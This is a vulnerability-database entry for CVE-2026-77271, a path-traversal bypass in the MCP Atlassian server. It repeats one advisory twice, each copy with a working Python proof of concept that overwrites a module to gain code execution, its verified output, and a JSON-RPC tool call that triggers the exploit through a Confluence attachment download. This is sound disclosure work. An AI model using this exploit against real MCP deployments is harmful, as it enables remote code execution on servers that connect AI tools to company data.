CVE-2026-77271
highpriority · track · 35EPSS 0.006 · 48 %ileUSEPSS · scored 2026-10-27
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_safe_path defaults its base directory to os.getcwd(), and affected Confluence attachment call sites omit base_dir, allowing attacker-selected writes within the working directory. This Python module overwrite can provide code execution when the application later imports the modified module, bypassing the remediation tracked as CVE-2026-27825. This issue is fixed in version 0.22.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 5.7–8.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-6vmq-24h2-pj7jMCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)2026-09-22ghsa · osvUS
### Summary The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. `validate_safe_path()` is called without an explicit `base_dir`, defaulting to `os.getcwd()`. In standard container deployments the process CWD is the application directory (e.g. `/app`), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest). ### Details `src/mcp_atlassian/utils/io.py` — `validate_safe_path()` defaults to CWD when no `base_dir` is supplied: ```python def validate_safe_path(path, base_dir=None) -> Path: if base_dir is None: base_dir = os.getcwd() # root of the issue resolved_base = Path(base_dir).resolve(strict=False) ... if not resolved_path.is_relative_to(resolved_base): raise ValueError("Path traversal detected") ``` Both call sites in `src/mcp_atlassian/confluence/attachments.py` omit `base_dir`: ```python validate_safe_path(target_path) # line ~227, download_attachment() validate_safe_path(target_dir) # line ~270, download_content_attachments() ``` When the process CWD is `/app`, any path under `/app` satisfies `is_relative_to(CWD)` and passes the guard, including all Python source modules: ``` /app/src/mcp_atlassian/confluence/attachments.py -> passes, no exception /app/src/mcp_atlassian/servers/main.py -> passes, no exception /app/.env -> passes, no exception ``` ### PoC **Prerequisites:** same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and `uvx` to run the proof below. The script imports `validate_safe_path` directly from the installed package, not a simulation of the function. ```python # poc_bypass.py import os, tempfile, shutil, importlib.util from pathlib import Path from mcp_atlassian.utils.io import validate_safe_path # real package print(f"Module: {validate_safe_path.__module__}") # Simulate /app (standard container CWD) app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_") module_dir = os.path.join(app_dir, "src", "mcp_atlassian") os.makedirs(module_dir) module_path = os.path.join(module_dir, "attachments.py") Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n') os.chdir(app_dir) # Control: classic traversal is blocked try: validate_safe_path("/etc/passwd") except ValueError: print("[OK] /etc/passwd blocked") # Bypass: intra-CWD path passes without exception result = validate_safe_path(module_path) print(f"[BYPASS] {result} - no exception raised") # Overwrite module with attacker payload # (content sourced from a Confluence attachment uploaded by the attacker) Path(module_path).write_bytes( b"import os\n_PWNED=True\n" b"def get_secret():\n" b" os.system('id')\n" b" return 'PWNED'\n" ) print("[WRITE] Module overwritten with malicious payload") # Simulate process restart / module reload spec = importlib.util.spec_from_file_location("m", module_path) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) # os.system('id') executes here print(f"[RCE] get_secret() = {repr(mod.get_secret())}") print(f"[RCE] _PWNED = {mod._PWNED}") shutil.rmtree(app_dir) ``` ```bash uvx --from mcp-atlassian python poc_bypass.py ``` **Verified output (mcp-atlassian 0.21.0):** ``` Module: mcp_atlassian.utils.io [OK] /etc/passwd blocked [BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised [WRITE] Module overwritten with malicious payload uid=1000(appuser) gid=1000(appuser) groups=1000(appuser) [RCE] get_secret() = 'PWNED' [RCE] _PWNED = True ``` **Triggering via MCP tool:** upload a malicious `.py` file as a Confluence attachment, then call: ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "confluence_download_attachment", "arguments": { "page_id": "<page_id>", "attachment_id": "<malicious_attachment_id>", "download_path": "/app/src/mcp_atlassian/confluence/attachments.py" } } } ``` `validate_safe_path` does not raise. The module is overwritten and the payload executes on the next process restart. ### Impact **Affected versions:** 0.17.0 through 0.21.0 (latest). Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to `0.0.0.0` with no authentication by default. **Suggested fix:** pass a dedicated, explicitly configured directory as `base_dir` instead of relying on CWD: ```python _DOWNLOAD_BASE = Path( os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads") ).resolve() validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE) ```
- PYSEC-2026-4087MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)2026-10-01vendor · osvUS
### Summary The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. `validate_safe_path()` is called without an explicit `base_dir`, defaulting to `os.getcwd()`. In standard container deployments the process CWD is the application directory (e.g. `/app`), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest). ### Details `src/mcp_atlassian/utils/io.py` — `validate_safe_path()` defaults to CWD when no `base_dir` is supplied: ```python def validate_safe_path(path, base_dir=None) -> Path: if base_dir is None: base_dir = os.getcwd() # root of the issue resolved_base = Path(base_dir).resolve(strict=False) ... if not resolved_path.is_relative_to(resolved_base): raise ValueError("Path traversal detected") ``` Both call sites in `src/mcp_atlassian/confluence/attachments.py` omit `base_dir`: ```python validate_safe_path(target_path) # line ~227, download_attachment() validate_safe_path(target_dir) # line ~270, download_content_attachments() ``` When the process CWD is `/app`, any path under `/app` satisfies `is_relative_to(CWD)` and passes the guard, including all Python source modules: ``` /app/src/mcp_atlassian/confluence/attachments.py -> passes, no exception /app/src/mcp_atlassian/servers/main.py -> passes, no exception /app/.env -> passes, no exception ``` ### PoC **Prerequisites:** same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and `uvx` to run the proof below. The script imports `validate_safe_path` directly from the installed package, not a simulation of the function. ```python # poc_bypass.py import os, tempfile, shutil, importlib.util from pathlib import Path from mcp_atlassian.utils.io import validate_safe_path # real package print(f"Module: {validate_safe_path.__module__}") # Simulate /app (standard container CWD) app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_") module_dir = os.path.join(app_dir, "src", "mcp_atlassian") os.makedirs(module_dir) module_path = os.path.join(module_dir, "attachments.py") Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n') os.chdir(app_dir) # Control: classic traversal is blocked try: validate_safe_path("/etc/passwd") except ValueError: print("[OK] /etc/passwd blocked") # Bypass: intra-CWD path passes without exception result = validate_safe_path(module_path) print(f"[BYPASS] {result} - no exception raised") # Overwrite module with attacker payload # (content sourced from a Confluence attachment uploaded by the attacker) Path(module_path).write_bytes( b"import os\n_PWNED=True\n" b"def get_secret():\n" b" os.system('id')\n" b" return 'PWNED'\n" ) print("[WRITE] Module overwritten with malicious payload") # Simulate process restart / module reload spec = importlib.util.spec_from_file_location("m", module_path) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) # os.system('id') executes here print(f"[RCE] get_secret() = {repr(mod.get_secret())}") print(f"[RCE] _PWNED = {mod._PWNED}") shutil.rmtree(app_dir) ``` ```bash uvx --from mcp-atlassian python poc_bypass.py ``` **Verified output (mcp-atlassian 0.21.0):** ``` Module: mcp_atlassian.utils.io [OK] /etc/passwd blocked [BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised [WRITE] Module overwritten with malicious payload uid=1000(appuser) gid=1000(appuser) groups=1000(appuser) [RCE] get_secret() = 'PWNED' [RCE] _PWNED = True ``` **Triggering via MCP tool:** upload a malicious `.py` file as a Confluence attachment, then call: ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "confluence_download_attachment", "arguments": { "page_id": "<page_id>", "attachment_id": "<malicious_attachment_id>", "download_path": "/app/src/mcp_atlassian/confluence/attachments.py" } } } ``` `validate_safe_path` does not raise. The module is overwritten and the payload executes on the next process restart. ### Impact **Affected versions:** 0.17.0 through 0.21.0 (latest). Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to `0.0.0.0` with no authentication by default. **Suggested fix:** pass a dedicated, explicitly configured directory as `base_dir` instead of relying on CWD: ```python _DOWNLOAD_BASE = Path( os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads") ).resolve() validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE) ```
also known as (2)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (4) nvd
External citations — patches, advisories, analysis.
- https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460Patch
- https://github.com/sooperset/mcp-atlassian/pull/1448Issue TrackingPatch
- https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0Release Notes
- https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6vmq-24h2-pj7jExploitVendor Advisory
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan